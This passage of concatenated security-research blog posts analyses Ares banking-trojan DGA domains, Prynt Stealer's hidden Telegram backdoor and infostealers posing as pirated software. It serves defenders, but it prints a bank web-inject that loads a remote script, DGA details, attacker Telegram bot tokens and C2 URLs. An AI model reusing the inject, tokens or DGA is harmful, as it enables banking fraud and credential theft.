using a unique AES key per file that is protected with RSA. However, the author(s) chose to rely on a weak random generator to create new AES keys. Using a 32-bit integer as the seed is not sufficient with today's computational power. Ransomware families have a lot in common due to their shared goals and most use secure encryption schemes. However, there may still be implementation weaknesses that enable file decryption without having access to a private key. The bruteforce methods described in this blog could be reused for similar scenarios. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign with the following threat name: Win64.Ransom.Crytox Indicators of Compromise Hashes 1c0bf0c2e7d0c34ec038a8b717bb19d9c4cf3382ada1412f055a9786d3069d78 2115c4c859d497eec163ca33798c389649543d8a6e4db5806a791c6186722b71 307c83924e90f4627f08c2f744cf51f18ec6e246687282a0c1794369ff084f42 3764200cfa673e8796e7c955454b57c20852c2a7931fb9f632ef89d267bbd4c8 6d4e75bc0cc095fef94b9d98a4e94ce9145890b435012b5624aa73621ba6e312 79aff06385c16a98594c6fd314c572bfbe07fbe923f30a627e9b86ac3ab7c071 8ee4a58699ecf02dca516dc6b5b72d93fd9968f672b2be6f8920dfec027d7815 c5550f44332750552921cb5d685ccfbeefa2ab4b03aed8c51c5db52bbe2ff5d4 d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455 Files written C:\ReadMe.hta Files with ".waiting" extension Registry keys HKCR\.waiting\shell\open\command Wed, 21 Sep 2022 08:00:12 -0700 Romain Dumont https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga Summary: ThreatLabz observed an update to the Ares banking trojan that introduces a domain generation algorithm (DGA), which mirrors the Qakbot DGA. Based on analyzing the malware code, there does not appear to be a direct link between these two malware families. The Ares DGA may be an effort for the threat actor to maximize the lifetime of an infection, which provides more opportunities for monetizing compromised systems through attacks such as wire fraud and ransomware. Key Points The Ares banking trojan received new updates in August 2022 including a domain generation algorithm (DGA) that is used as a fallback in the event the primary command-and-control (C2) communication channel is unreachable. The domain generation algorithm implementation is virtually identical to the Qakbot banking trojan’s defunct DGA algorithm. The DGA algorithm is based on a hardcoded seed and the current date. The algorithm generates 50 domains per interval (150 domains per month) and uses the daytime protocol to obtain the date. Based on reverse engineering Ares, the DGA appears to be a reimplementation of Qakbot’s algorithm rather than sharing the same codebase. The Ares banking trojan is currently being used to target financial institutions in Mexico. Zscaler ThreatLabz has been tracking developments to the Ares banking trojan, which emerged in February 2021. Ares is based on the Osiris malware family, which in turn, was forked from the original Kronos banking trojan. Threat actors that utilize Ares had been inactive from approximately March 2022 to June 2022. However, there is a new version of Ares that was released in August 2022 that adds new features. These new Ares samples were compiled on August 15, 2022 and implement a domain generation algorithm. The introduction of a DGA is not by itself novel. However, the DGA algorithm is particularly interesting because it is nearly identical to the DGA that was implemented by the Qakbot banking trojan. Technical Analysis Ares samples contain one or more hardcoded URLs that are used as the primary C2 channel. In new versions of Ares, the malware will make up to 50 attempts to contact the primary C2 servers. If these C2 channels are unreachable, Ares will generate domains using a DGA. An example code comparison between the Ares DGA and Qakbot DGA is shown in Figure 1. Figure 1. Code comparison between the DGAs of Ares (left) and Qakbot (right) The primary differences between the Ares DGA and the Qakbot DGA are the former generates 50 domains per interval while the old Qakbot algorithm generated 5,000 domains. In addition, Ares uses the daytime protocol via TCP port 13 to retrieve the current day from one of the following servers: time-a.nist.gov time-a-g.nist.gov time.nist.gov Ares will try each NIST daytime server up to three times. The response from the NIST server is similar to the following: 59820 22-08-29 23:18:13 50 0 0 593.0 UTC(NIST) * In contrast, the Qakbot DGA obtained the current date from public web servers including google.com, cnn.com, and microsoft.com. Similar to Qakbot, Ares converts the response from the daytime server to a string with the format Date: %a, %d %b %Y 00:00:00 GMT. An example string in this format is Date: Mon, 29 Aug 2022 00:00:00 GMT. From this point forward, the algorithm is identical to Qakbot. The date string is converted to the format %u.%s.%s.%08x. The first parameter is an integer in the range between 0 and 2 (depending on the day of the month), followed by the abbreviated month converted to lowercase, followed by the year and a hardcoded constant. In the Ares samples analyzed by ThreatLabz, the magic constant was 0x9283920. Conversely, Qakbot typically hardcoded this magic value to 0 or 1. An example string in this format is 2.aug.2022.09283920. This string is then passed to a CRC32 hash function to produce an integer value that is used as a seed to a Mersenne Twister pseudo random number generator. The Mersenne Twister generates random integers that are used as an index to choose a sequence of lowercase alphabetic characters. The algorithm will produce a domain that is between 8 and 25 characters in length appended with a hardcoded top-level domain (TLD). The TLD is chosen by splitting the string com;net;org;info;biz;org (note the double use of the .org TLD) into an array and using the Mersenne Twister PRNG to choose an integer value as an index into the array. The algorithm splits the set of 50 domains into three time intervals. The first two intervals have a validity of 10 days, while the domains in the last interval are valid from 8 to 11 days depending on the number of days in the month. Therefore, Ares will generated 150 potential C2 domains per month. Example domains generated for August 29, 2022 by Ares are shown below in Table 1. truktkqrhbqid.com afthptslohtxez.info sqahzasvxlfqfgmbhaprfa.org ivdcsnrjyve.biz ozwltevtjzxjt.biz ysqoogvpyldzmpfrzcqy.biz uippsfkjsfava.info zzmlwansfyuccivdfscnhcsr.com tswcpdxiaaz.com llbkeikzi.com axowplsnwlipfvxsafeeqnjk.org bdwytmphgml.org dkqnlmmqhd.org dfzvvfzxxnzbuvjyapcvb.net dqbcfturck.info msirddguztwcbgaeyjo.com wojwxbefozrxuaealwzv.org klvfokpnhhrcffzku.net lmdfbabllhzcfdomogl.org uimlehvhuwtckjgpdgig.net zkhedomcvpaiv.biz yzuzswfkybcmllnel.net kcmdsrapukosxvqnb.org fdymwocojutqlc.org vhfrymxypwcrxaioki.org affptoavdvnmqyf.biz sjnnzyad.net zahdnhgplnetn.org zkwdxdoycewkr.info cbimmnjplweqg.biz iztlcqlnlkjnepx.biz qdavlycfepldabbu.info sqbnndxmoc.net wfnyzfwjlarffupafqh.org umgkxgjjccmkftfuyydsdt.com zayaugajoxoks.com wpioqqyhdttoymcxkredun.org hazovvbctmpkaigwzdbtpve.com mndfoyaki.net jsnrmrzwiulbmjpniafmbsheu.com onfwmtjfntfzp.info ptltetfmogk.org ksnicjvlrhzotedcdn.net lsuliwpuhovocjeyjxlggotft.info jznilwezhqwdp.info jgxcvpxxvfkxkgyyxwkiszo.biz bytqndajubxkhqjy.org wgxhfkmetcwnxaqnlhce.info ugnnzgbirvceq.org mxekahcaolryntmhrxpk.biz Table 1. Ares DGA domains for August 29, 2022 At the time of publication, none of these domains currently resolve. Analysis of the Ares code indicates that the algorithm was likely reimplemented rather than having access to the Qakbot DGA source code. In fact, there is an open source C implementation of the Qakbot algorithm that is likely the origin of the Ares implementation. In comparison, this open source implementation uses non-native Windows API functions for string operations (e.g., strcat, strlen, atoi, etc), which is identical to Ares. On the other hand, Qakbot uses Windows APIs including lstrcatA and lstrlenA. ThreatLabz has modified a Python-based implementation of the Qakbot DGA authored by Johannes Bader to generate the Ares DGA domains. The Ares DGA tool is located in our GitHub repository here. Web Inject Configuration The Ares malware author appears to be testing web injects to insert HTML content and JavaScript into a targeted website. While the Ares C2 server is not currently serving a dynamic web inject configuration, recent samples contain the following hardcoded configuration targeting BBVA Mexico as shown below: set_url http*bbva*.mx* GP data_before <body*> data_end data_inject <div id="botid" style="display:none;">%BOTID%</div> <script type="text/javascript" src="https://www.trendybaby.co[.]uk/assets/css/homeats.js"></script> data_end Dynamic API Hash Algorithm The Ares malware author has altered the original Kronos source code to create new Windows API hash values for dynamically resolving NTDLL functions. The modification to the CRC64 algorithm is very slight, but sufficient to bypass static signatures that search for the previous Kronos hash values. In particular, the CRC64 polynomial (0xD800000000000000) was modified by setting the lower DWORD value from 0x00 to 0x10 as shown in Figure 2. Figure 2. Ares import hashing algorithm with a modification to the standard CRC64 polynomial As an example, the standard CRC64 hash value for the string sprintf is 5FE79276722143D0, while in the latest Ares variant, the CRC64 hash value is DC1FC2878FEE79C0. Ares then utilizes the Kronos algorithm to map these values to alphanumeric characters. ThreatLabz has implemented a Python script (available in our GitHub repository) that can be used to generate these hash values. The full list of NTDLL API function names used by Ares and the corresponding hash values is located in the Appendix. Conclusion The developer of Ares continues to add new features to the malware to make it more resilient to detection and disruption. The implementation of Qakbot's DGA will allow a threat actor using Ares to easily deploy new C2 servers and regain control of infected systems if the primary servers are taken down. This is likely an indicator that further attacks are soon to follow. Cloud Sandbox Detection In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Banker.Kronos Win32.Banker.Kronos.LZ Indicators of Compromise (IOC) Indicator Description baae5bbaf2decf7af9b22c4d10f66c7c77c9ebc7b73476f7cbe449d2bba97ed9 Ares DGA variant SHA256 31ed2ee200da9a35ab3868b3d2977e6b18bc49772d39c27d57a53b49b6e6fa4a Ares DGA variant SHA256 http://tomolina[.]top/panel/connect.php Ares Hardcoded C2 URL The domains generated by the Ares DGA for August 1, 2022 to December 31, 2022 are available here. Ares Hash Values API Function Name Ares Hash Value LdrGetProcedureAddress Y3Y5E2P5S1S3D1U7 LdrLoadDll F5R0Y0X7R5R3D8Y3 NtAllocateVirtualMemory A6T2D7A2Q2R5B6T6 NtClose F0D3C0A7F5T6P3A2 NtCreateFile T1D7X7R5D7U6C6Q7 NtCreateKey Q3C6Y3P7U6C6P2A3 NtCreateSection P4H8Y3Q3B2Q0S7B7 NtDebugActiveProcess Q3A7Q6R3H0G0B6B7 NtDelayExecution D8B3B3T8A4F6P3T5 NtDeleteFile S3Y3U5G1X0E2T3P7 NtDeleteValueKey Y3G2G7G3B3D2P7F6 NtDuplicateObject U6D1G5D8G1E3R6H4 NtEnumerateValueKey Q6T4F5Q0F1S2G1Y5 NtFreeVirtualMemory X3A2D5D5B4S7F3C4 NtGetContextThread E3Y5Q4R2G7R4U3S5 NtMapViewOfSection B4S3E6S5C6G5Y6Y6 NtOpenEvent G2D4H0P5F5Q7Q0C0 NtOpenFile T4X3U6U8E7Q0D3C7 NtOpenProcess C0P7A7F2E0S3T7R2 NtProtectVirtualMemory B4Y5P8D6B6H5X6Y3 NtQueryDirectoryFile T5S2Y5T4C4F7U7H0 NtQueryInformationFile B5A5U0Q7Y2Y3Q1E3 NtQueryInformationProcess C4P7T3B7C7S4P6Q0 NtQueryInformationThread C3Q6D4C4F6H3F2Y0 NtQueryKey T5S7B2T7H1A2P4R5 NtQueryObject X6U2A2E3Q3U0A7H1 NtQuerySystemInformationEx U0Y1S6E3F0U7C3R8 NtQueryValueKey E5H8F2Y6S2A6R1Y7 NtQueryVirtualMemory U6G3B5G1F1T7S3E5 NtReadVirtualMemory E7G2G4S8Y3Y4X3X3 NtResumeThread P3U8P1B3P6E8D1U4 NtSetContextThread Q2U4U2S2C3F3S8G1 NtSetInformationFile P4Y2Q6Q1E6P5R6A3 NtSetValueKey U5P3A7T2Q5P5S0F3 NtSuspendThread G3R4B6T2T5A6Y8P7 NtTerminateThread S4Q5T3G3R4F7Q6G4 NtUnmapViewOfSection G4C3G4F6X7Y3D7H7 NtWriteFile C8A3E5D4U3E2T3T5 NtWriteVirtualMemory F0X2G2Q5B5Q6G3U6 RtlAnsiStringToUnicodeString Y3S6P7G1H7H0C8G4 RtlCompareUnicodeString U2H5G7F7B6A5P2F4 RtlCreateUserThread F3A6S6D2B8B3X2C7 RtlDeregisterWaitEx S7U1S0U0H7G2Q7E3 RtlDosPathNameToNtPathName_U G3B2Q3G0B6A7D0P5 RtlFreeAnsiString X2X7C3S2R2B4S0X4 RtlFreeUnicodeString T1H6C8A2R2C3T7S8 RtlInitAnsiString D1X1G3A7Q6T0U3U1 RtlInitUnicodeString D6G5P3A8R3G3Y4Q1 RtlRandomEx R7T6F8E2G2B8B2Y4 RtlRegisterWait R4C0F3R3P8Y1X6Y2 RtlUnicodeStringToAnsiString B0U7C3F3D3B4X5T5 _vsnprintf Y2X6H4E2U7B3G6T0 _vsnwprintf T5C2D5Q2F2D6H0G3 _wcsicmp E3C2R6D6R8Q4R2U7 _wcsnicmp U3S3Y5P3F2S8Q4S5 sprintf S4Y7R5G1G7T6F3R3 Tue, 06 Sep 2022 08:49:47 -0700 Brett Stone-Gross https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed Stealing information is fundamental to cybercriminals today to scope and gain access to systems, profile organizations, and execute bigger payday schemes like ransomware. Information stealer malware families including Prynt Stealer are often configured through a builder to facilitate the process for less sophisticated threat actors. However, Zscaler ThreatLabz researchers have uncovered the Prynt Stealer builder, also attributed with WorldWind, and DarkEye, has a secret backdoor in the code that ends up in every derivative copy and variant of these malware families. The backdoor sends copies of victims' exfiltrated data gathered by other threat actors to a private Telegram chat monitored by the builder’s developers. While this untrustworthy behavior is nothing new in the world of cybercrime, the victims' data end up in the hands of multiple threat actors, increasing the risks of one or more large scale attacks to follow. Key Points Prynt Stealer is an information stealer that has the ability to capture credentials that are stored on a compromised system including web browsers, VPN/FTP clients, as well as messaging and gaming applications The Prynt Stealer developer based the malware code on open source projects including AsyncRAT and StormKitty Prynt Stealer uses Telegram to exfiltrate data that is stolen from victims The Prynt Stealer malware author added a backdoor Telegram channel to collect the information stolen by other criminals The informational stealer malware families known as DarkEye and WorldWind are near identical to Prynt Stealer Prynt Stealer is a relatively new information stealer malware family that is written in .NET. The malware has previously been analyzed in-depth including the data harvesting capabilities and the targeted applications. Zscaler ThreatLabz has since uncovered additional details about the malware including the codebase being derived from at least two other open source malware families: AsyncRAT and StormKitty. This blog will focus on these shared codebases, the modifications introduced by the Prynt Stealer author (including a backdoor), and the very close relationship with WorldWind and DarkEye. Prynt Stealer Origins Prynt Stealer is not just inspired from open source malware families, but shares code that appears to have been directly copy and pasted from these repositories. Many parts of the Prynt Stealer code that have been borrowed from other malware families are not used, but are still present in the binary as dead unreachable code. The Prynt Stealer code is primarily derived from AsyncRAT (a versatile RAT) and StormKitty (an information stealer). The AsyncRAT code is used as the main module with a modified entry point that calls the StormKitty stealer method. Prynt Stealer executables are configured using a builder that has no options to modify the embedded AsyncRAT components, which are pre-configured primarily just to run the StormKitty stealer module. Most of AsyncRAT’s functionality in Prynt Stealer is disabled and the command-and-control (C&C) URLs are configured to 127.0.0.1. While the AsyncRAT’s network component of Prynt Stealer is disabled, the malware contains the following embedded certificate shown below: "issuer": "CN=WorldWind Stealer", "subject": "CN=WorldWind Stealer", "to_date": "9999-12-31T23:59:59", "version": "v3", "from_date": "2021-07-13T04:51:06", "serial_number": 852016614067188563094399707801818649 Note that the common name for this certificate is WorldWind Stealer, which is also sold by the Prynt Stealer malware author. AsyncRAT/StormKitty Code Comparison The Prynt Stealer author added two new fields (highlighted in Figure 1) to the AsyncRAT configuration codebase for data exfiltration via Telegram. Figure 1: Side-by-side comparison of a Prynt Stealer configuration (left) with an original AsyncRAT configuration (right) The main code responsible for sending information to Telegram is copied from StormKitty with a few minor changes in text as shown in Figure 2. Figure 2: Side-by-side comparison of Prynt Stealer’s UploadFile with StormKitty’s SendSystemInfo function The main difference is the field names and order have changed, and a field related to detecting porn websites is missing from Prynt. A Detailed look at Prynt Stealer Modifications Anti-Detection Techniques Prynt Stealer does not use the anti-analysis code from either AsyncRAT or StormKitty with one exception: the malware creates a thread that invokes the function named processChecker (shown in Figure 3) in AsyncRAT’s static constructor. The thread execution is started at the end of the main function after stolen logs are sent. Figure 3: Prynt Stealer process checker thread's code Prynt Stealer uses this thread to continuously monitor the victim’s process list. If any of the following processes are detected, the malware will block the Telegram C&C communication channels: taskmgr processhacker netstat netmon tcpview wireshark filemon regmon cain Telegram Command Thread Prynt Stealer creates a thread that will poll for a file to download using the Telegram getUpdates API as shown in Figure 4. Of note, this download command only saves the file on the target system and does not take any further actions that might be expected like executing a second-stage payload or updating the malware. Figure 4: Prynt Stealer Telegram download command Crowdsourcing Stolen Logs Prynt Stealer steals data from a wide array of applications, and the information is sent to a Telegram channel that is configured using the builder shown in Figure 5. Figure 5: Prynt Stealer builder The Prynt Stealer logs are sent to the operator’s Telegram. However, there is a catch: a copy of the log files is also sent to a Telegram chat presumably embedded by the Prynt Stealer author as shown below in Figure 6. Figure 6: Prynt Stealer backdoor sending log files to two different Telegram chats ThreatLabz has observed similar tactics employed by malware authors in the past as well, where the malware has been given away for free. This enables a malware author to benefit from unsuspecting cybercriminal clients who perform the heavy lifting of infecting victims. The fact that all Prynt Stealer samples encountered by ThreatLabz had the same embedded telegram channel implies that this backdoor channel was deliberately planted by the author. Interestingly, the Prynt Stealer author is not only charging some clients for the malware, but also receiving all of the data that is stolen. Note that there are cracked/leaked copies of Prynt Stealer with the same backdoor, which in turn will benefit the malware author even without direct compensation. Prynt Stealer / WorldWind / DarkEye: Multiple Faces of the Same Malware ThreatLabz has identified at least two more Prynt Stealer variants dubbed WorldWind and DarkEye that appear to be written by the same author. All three strains are nearly identical with a few minor differences. Prynt Stealer is the most popular brand name for selling the malware, while WorldWind payloads are the most commonly observed in-the-wild. DarkEye is not sold or mentioned publicly, however, it is bundled as a backdoor with a “free” Prynt Stealer builder. Figure 7 shows a pie chart of the percentage of samples by name observed by ThreatLabz over the last year. Figure 7: Distribution of Prynt Stealer, WorldWind and DarkEye payloads in-the-wild over the last year Both Prynt and WorldWind have been sold by the same author on the following websites: Market Website Malware name Status http://shop.prynt[.]market WorldWind Inactive http://market.prynt[.]market Prynt Stealer Inactive http://venoxxxx[.]xxx Prynt Stealer Active Screenshots of these websites (offline at the time of publication) are shown in Figure 8. Figure 8: market.prynt[.]market selling Prynt Stealer and shop.prynt[.]market selling WorldWind side-by-side Various websites and criminal forums have offered cracked versions of Prynt Stealer and the code has been uploaded on GitHub for free under different names. Prynt (with the same Telegram backdoor) has also been offered for free on Telegram channels used by cybercriminals as shown in Figure 9. Figure 9: Prynt Stealer offered for free on a cybercriminal Telegram channel The distributed builder is backdoored with DarkEye Stealer and Loda RAT. This may be a deliberate leak by the Prynt Stealer threat actor since they will benefit from the data stolen from victims. Feature/Code Comparison Table 1 shows a feature parity between Prynt, WorldWind and DarkEye. Overall, there are few very minor differences such as the text in the log report, code and settings placement. However, functionality-wise all three are almost identical. Prynt WorldWind DarkEye AsyncRAT Present (Not Used) Present (Not Used) Used Clipper Present (Not Used) Present (Not Used) Used Keylogger Present (Not Used) Present (Not Used) Used ProcessChecker Anti-Analysis Used Not Present Not Present StomKitty Stealing Used Used Used HideConsoleWindow Used Not Present Not Present Elevate privileges by running as admin Used Not Present Not Present Copy itself to a specified path Used Not Present Not Present Persist using task creation (e.g., “Chrome Update”) Used Not Present Not Present Self delete using a .bat file Used Not Present Not Present Check for an Internet connection Used Not Present Not Present Protect the process using RtlSetProcessIsCritical Used Not Present Not Present Prevent sleep by setting SetThreadExecutionState to 0x80000003 (ES_CONTINUOUS | ES_DISPLAY_REQUIRED | ES_SYSTEM_REQUIRED) Used Not Present Not Present Table 1. Some notable similarities and differences in functionality between Prynt Stealer, WorldWind and DarkEye Table 2 compares the field names between StormKitty, Prynt Stealer, WorldWind and DarkEye. StormKitty Prynt WorldWind DarkEye 😹 *StormKitty - Report:* \ud83d\udc63 *Prynt Stealer New Results:* \ud83c\udf2a *WorldWind Pro - Results:* \ud83d\ude39 *DARK-EYE - Report:* 🏦 *Banking services* \ud83c\udfe6 *Banks* \ud83c\udfe6 *Bank Logs* \ud83c\udfe6 *Banking services* 💰 *Cryptocurrency services* \ud83d\udcb0 *Crypto* \ud83d\udcb0 *Crypto Logs* \ud83d\udcb0 *Cryptocurrency services* 🍓 *Porn websites* N/A \ud83c\udf53 *Freaky Logs* \ud83c\udf53 *Porn websites* 🌐 *Browsers:* \ud83d\udcb5 *Stealer Data:* \ud83c\udf10 *Logs:* \ud83c\udf10 *Browsers:* 🗃 *Software:* \ud83d\udc63 *Installed Software:* \ud83d\uddc3 *Software:* \ud83d\uddc3 *Software:* 🧭 *Device:* \ud83d\udc63 *Local Device:* \ud83e\udded *Device:* \ud83e\udded *Device:* 📄 *File Grabber:* \ud83d\udc63 *Files:* \ud83d\udcc4 *File Grabber:* \ud83d\udcc4 *File Grabber:* N/A \ud83d\udc63 Solen Useing Prynt Stealer\n\n \ud83d\udc63 Developed By @FlatLineStealerUpdated\n\n \ud83d\udc63 Or Join The Channel @pryntdotmarket Telegram Channel: @x0splinter N/A Table 2. Comparison of field names between StormKitty, Prynt Stealer, WorldWind and DarkEye Leaked Prynt Stealer Builder Threatlabz has acquired a copy of the Prynt Stealer builder that is backdoored with DarkEye being circulated in-the-wild. Figure 10 illustrates the “free” Prynt Stealer builder’s backdoor execution process. Figure 10: Prynt Stealer builder backdoor execution and infection flow The Prynt Stealer builder package includes the following files: Stub.exe - Prynt stub used by the builder Prynt Stealer.exe - Builder executable Prynt Stealer sub.exe - Unmanaged PE Prynt.exe - Backdoor that downloads and executes DarkEye Stealer Stub.exe - The Prynt Stealer Stub This is the actual Prynt Stealer stub that is used by the builder to build payloads based on the configuration. The stub simply enumerates the resources in the file Prynt Stealer sub.exe and performs actions based on the settings in the RCData resource section, as shown in Figure 11. Figure 11. Celesity Binder resource enumeration method The Prynt Stealer sub.exe is generated using Celesty Binder as indicated by the presence of the string C:\Users\DarkCoderSc\Desktop\Celesty Binder\Stub\STATIC\Stub.pdb. This binary stores embedded payloads under the “RBIND” resource in plaintext. This sample was configured to drop and execute the payloads in the %TEMP% folder as shown in Figure 12. Figure 12. Celesity Binder stub settings in resources Other valid options for the “DROPIN” value include the following: %APPDATA% %PROGFILES% %DEFDRIVE% %STARTUPDIR% %LAPPDATA% %USERDIR% The Prynt Stealer builder stub contains two payloads: “PRYNT STEALER.EXE” - The builder binary explained below “SVCHOST.EXE” - LodaRAT backdoor Prynt Stealer.exe - The Builder The Prynt Stealer builder is a modified version of the AsyncRAT builder with modified forms to change the UI and an additional line was added in the main method to run the loader mentioned above from {Builder Path}/Stub/Prynt.exe. Prynt.exe - The Loader This is a very basic loader written in .NET, which simply downloads the payload from a hardcoded URL and runs the payload as shown in Figure 13. Figure 13. Loader obfuscated vs deobfuscated The downloaded payload is DarkEye Stealer, a variant of Prynt Stealer. Based on a hardcoded Telegram token shared by DarkEye, Prynt and WorldWind stealer, they are all likely from the same author(s). DarkEye Stealer This malware is essentially Prynt Stealer with some minor differences in code placement. Most settings related to the clipper, keylogger, etc are moved under the AsyncRAT constructor as shown in Figure 14. Figure 14. Example AsyncRAT settings configured by DarkEye Stealer The main factor differentiating DarkEye from Prynt and Worldwind is that the AsyncRAT part of the code is weaponized by configuring the related settings. Note that there were some earlier versions of DarkEye stealer in-the-wild without the AsyncRAT components. Loda RAT Loda RAT is an Autoit based RAT first documented in 2017 that has been active since and has evolved over the years. This is a fairly capable malware that can steal a variety of information, remotely control an infected system and deploy additional payloads. Conclusion The free availability of source code for numerous malware families has made development easier than ever for less sophisticated threat actors. As a result, there have been many new malware families created over the years that are based on popular open source malware projects like NjRat, AsyncRAT and QuasarRAT. The Prynt Stealer author went a step further and added a backdoor to steal from their customers by hardcoding a Telegram token and chat ID into the malware. This tactic is not new by any means; there have been several similar instances, including CobianRAT. As the saying goes, there is no honor among thieves. Cloud Sandbox Detection Figure 15: Zscaler Cloud Sandbox Report In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators related to the campaign at various levels with the following threat names: Win32.Backdoor.PryntStealer Win32.Backdoor.WorldWind Win32.Backdoor.DarkEyeStealer Win32.Backdoor.LodaRat Indicators of Compromise (IOCs) Prynt Stealer IOCs are available in our GitHub repository. SHA256 Malware d8469e32afc3499a04f9bcb0ca34fde63140c3b872c41e898f4e31f2a7c1f61f Prynt Stealer f15e92c34dd8adfcd471d726e88292d6698217f05f1d2bcce8193eb2536f817c Prynt Stealer 3b948a0eb0e9bbca72fc363b63ffd3a5983e23c47f14f8296e8559fd98c25094 WorldWind Stealer bb96db7406566ec0e9305acde9205763d4e9d7a65f257f3d5c47c15f393628ec DarkEye Stealer e48179c4629b5ab9e53ccb785ab3ee5eeb2e246e1897154a15fec8fd9237f44b DarkEye Stealer (old version without AsyncRAT) 9678ca06068b705da310aa2f76713d2d59905b12b67097364160857cd1f90c58 Celesty Binder payload 654f080d5790054f0cd1a0f9b31cd7a82a4722ff3ce5093acdc31ff154f1ae24 Builder cb132691793e93ad8065f857b4b1baba92e937cfc3d3a8042ce9109e12d32b4c LodaRAT d37d0ae4c5ced373fe1960af5ea494a6131717d1c400da877d9daa13f55439bb Prynt Stealer Stub c79aed9551260daf74a2af2ec5b239332f3b89764ede670106389c3078e74d1a Loader Telegram Token Chat ID Comment 1119746739:AAGMhvpUjXI4CzIfizRC--VXilxnkJlhaf8 1096425866 WorldWind (hardcoded) 1784055443:AAG-bXLYtnFpjJ_L3ogxA3bq6Mx09cqh8ug 1937717367 Prynt Stealer (hardcoded) 5292408150:AAHAPbTr2Jc9L4hgsfkDkvfw_hISg6lPMMI 5038570348 Prynt Stealer 5292408150:AAHAPbTr2Jc9L4hgsfkDkvfw_hISg6lPMMI 1856525476 Prynt Stealer 1916193181:AAHhdcx3k6mHbnJ6JLfyWtJBMChny-la8Xs 849561191 Prynt Stealer URL Description https://cdn.discordapp[.]com/attachments/523238636561629190/890007970207907871/vltn.exe DarkEye Stealer Hosting bigdaddy-service[.]biz:6606 DarkEye Stealer C&C bigdaddy-service[.]biz:7707 DarkEye Stealer C&C bigdaddy-service[.]biz:8808 DarkEye Stealer C&C daddy.linkpc[.]net:1199 LodaRAT C&C Thu, 01 Sep 2022 12:35:24 -0700 Atinderpal Singh https://www.zscaler.com/blogs/security-research/no-honor-among-thieves-prynt-stealers-backdoor-exposed https://www.zscaler.com/blogs/security-research/making-victims-pay-infostealer-malwares-mimick-pirated-software-download Summary: Threat actors distributing infostealers are gaining momentum by targeting victims seeking to illegally download pirated software. Because obtaining and using pirated software is against the law, many individuals partaking in this type of behavior suspend proper scrutiny for the source of their download. As a result, whether they are good or bad people, victims across the world are paying the price with their private information for a single bad decision. Discover the techniques being used to distribute these threats and unravel the infection chain from two different examples to understand how these malware developers operate and use the latest techniques to avoid detection. Introduction: It has been over 20 years since the launch of Napster taught the internet how to get and share digital content online, and nearly a decade since the resilient Pirate Bay torrent site began enabling visitors to find and download stolen media and unlocked or ‘cracked’ versions of software. All these years later, in spite of many lawsuits and injunctions it is still extremely common for people to download pirated software from shady shareware sites instead of buying licenses for noncommercial purposes. Today, we typically see sites hosting cracked softwares like Microsoft Office and Windows installers appearing in indexed Google search results and ad banners. Recently, the Zscaler ThreatLabz researchers discovered multiple ongoing threat campaigns distributing info-stealer malware by targeting victims trying to download pirated software applications. The screenshot in Fig. 1 shows Google search results featuring these fake sites that look just like the real pirate hosting sites. Part of what makes this type of threat so successful is that it targets individuals participating in an illegal yet common activity, as such many of the users can’t identify the intent behind one makeshift pop-up site peddling illegal software downloads vs. another one hosting malware downloads. The sections that follow provide a detailed technical analysis of two different active infostealer infection chains that fall into this category. Fig 1. Fake shareware sites indexed on Google search Technical Analysis Case 1 Stage 1: Redirection and Infostealer Malware Distribution When users visit fake shareware sites and click to download, they immediately experience multiple redirects that obfuscate the process for detection by search engines, scanners, and victims, and finally deliver them to a malicious site hosting the threat actor’s intended content - an infostealer malware like the one featured in Fig 2 below. While this process may raise eyebrows on a verified site, visitors on these back channel sites may assume that this sleight-of-hand is a normal part of how shareware sites operate. Fig 2. Infection vector After arriving at the final destination and finishing the download, the final payload received in this sample is a zip archive file <10 MB in size. In this case, the malware-hosting URL is an open directory containing more than 3000 malicious zip archive files masquerading as common types of cracked software, as shown in the Fig 3 snippet below. Fig 3. Web directory containing thousands of malware laced zip files The malware distribution pattern our researchers observed is not consistent, but we did discover that trusted sites like Mediafire as shown in Fig. 4 below, and Discord are also being used to host malware in several different campaigns. Fig 4. Redirected landing phishing page Stage 2: Loader The downloaded file is a compressed archive file that contains a password-protected zip archive and a text file disguised to contain stored passwords. Fig 5. Password and Archive file The password-protected zip file further contains a zip file named setup.zip of size 1.3 MB. Extracting the zip archive reveals a 0x20 and 0x00 byte padded executable file just over600 MB in size as shown in Fig. 5 below. Fig 5. File padded with irrelevant bytes ThreatLabz researchers found that the padded bytes were irrelevant to running the sample file and determined that threat actor included them to evade detection by security engines. The file also contains Anti-VM and Anti-Debug checks. Following this the dumping process removes irrelevant bytes dropping the file size in this sample down from 600MB to 78 KB, as shown in Fig 6 below. Fig 6: Actual file size after dumping the process Once the file is executed it spawns an encoded PowerShell command that launches a cmd.exe process with a timeout of 10 secs. This timeout period is added for evading automated sandbox analysis tools. The decoded PowerShell command looks like this: (Start-Sleep-s10;Remove-Item-Path"C:\Users\User\Desktop\Setupfinal.exe"-Force) Once the timeout period is over the loader connects to the remote server requesting a jpg file named ‘windows.decoder.manager.form.fallout15_Uwifqzjw.jpg’, as shown in Fig. 7 below. Fig 7: Loader downloading requested jpg file from the remote server The downloaded jpg file looks like it is encrypted but opening it with an editor reveals that the contents are simply stored in reverse order and once the content is reversed by the malicious program, it transforms into a DLL file. Stage 3: Redline Stealer The DLL payload contains a RedLine Stealer malware that targets your stored browser history, it is obfuscated with a crypter and compiled into memory by the loader. The loader loads the DLL and replaces it with the current thread context. This RedLine Stealer sample is designed to steal stored browser passwords, auto-complete data including credit card information, and cryptocurrency files and wallets. The implications for an unsuspecting victim trying to save money on a program they may barely intend to use can be severe resulting in financial losses, identity theft, and other forms of fraud and extortion. Technical Analysis Case 2 ThreatLabz researchers also observed fake shareware sites distributing instances of the RecordBreaker Stealer malware delivered without the use of any legitimate file hosting services by instead using malware packer tools like Themida, VMprotect, and MPRESS, as found in the sample packed with Themida shown in Fig. 8 below. Fig 8: Files packed with Themida/VMprotect Malware authors typically use packers and protectors for compression and to wrap the software in an extra layer of disguised code to evade detection. Packers are also growing in popularity for the anti-VM and anti-debugging techniques they offer which allow the malware to 